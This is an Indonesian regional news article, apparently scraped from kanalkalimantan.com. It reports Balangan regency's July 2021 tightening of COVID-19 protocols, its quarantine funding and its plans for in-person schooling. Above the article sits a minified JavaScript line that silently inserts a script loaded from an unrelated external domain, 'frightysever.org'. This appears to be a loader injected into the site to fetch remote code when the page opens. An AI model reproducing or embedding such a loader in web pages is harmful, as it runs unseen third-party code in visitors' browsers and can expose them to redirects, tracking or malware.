(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Pemerintah Kabupaten (Pemkab) Balangan memperketat protokol kesehatan (Prokes) dan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) mikro antisipasi ledakan Covid-19.
“Menyusul ledakan kasus Covid-19 di provinsi tetangga Kaltim dan Kalteng, maka kita harus menyiapkan fasilitas-fasilitasnya. Langkah selanjutnya adalah memperketat protokol kesehatan dan PPKM berbasis mikro,” ucap Bupati Balangan H Abdul Hadi usai melakukan rapat koordinasi Satgas Covid-19 di aula Benteng Tundakan, Kamis (8/7/2021).
H Abdul Hadi mengingatkan kepada masyarakat Balangan, dengan masa pandemi Covid-19 yang panjang dan membosankan, jangan sampai membuat kendor dalam melaksanakan protokol kesehatan.
“Tadi sudah diberikan arahan dan penjelasan Kapolres dan Kajari bahwa kita tidak boleh lengah dalam melaksanakan protokol kesehatan, karena kita tidak tahu apakah akan terjadi ledakan Covid-19 di daerah kita,” ujarnya.
“Pesan Kapolres dan Kajari, para kepala desa jangan sampai ragu dalam menggunakan dana desa untuk menangani masalah Covid-19, karena kalau sampai ragu PPKM tidak akan jalan, karena tidak ada serapan dana desa yang refocusing sebanyak 80 persen itu,” ucap H Abdul Hadi.
Selain itu, mengenai masalah pengaktifan kembali tempat karantina, pihaknya hanya melakukan antisipasi saja sebab dana refocusing telah dianggarkan ke sana.
“Karena beberapa waktu lalu kita tidak bisa mengaktifan tempat karantina karena ketiadaan dana. Sekarang dengan adanya refocusing, telah kita anggarkan dan tidak ada alasan lagi untuk tidak mengaktifan itu sebagai antisipasi ledakan Covid-19,” ujarnya
Sementara mengenai vaksin yang sudah habis, artinya tenaga kesehatan bekerja dengan maksimal tanpa adanya vaksin yang masih tersisa.
“Maka dari itu, kami sangat berterima kasih kepada tenaga kesehatan khususnya kepada Dinkes Balangan, karena kinerja mereka memang sangat luar biasa,” ucapnya.
Terakhir, mengenai pembelajar tatap muka (PTM), salah satu syaratnya adalah tenaga pengajar dan tenaga pendidik harus sudah divaksin. Vaksinasi kepada mereka sesuai harapan dan jadwal yang dilakukan Disdik Kabupaten Balangan.
“Semoga kita jangan sampai masuk ke zona orange atau merah. Kalau zona kuning bisa kita pertahankan, maka Insyaallah akan kita laksanakan pelajaran tatap muka sesuai dengan jadwal yang telah ditetapkan yakni 12 Juli 2021 mendatang, tetapi harus dengan Prokes yang ketat,” tandas H Abdul Hadi. (kanalkalimantan.com/alfi)
Reporter: alfi
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.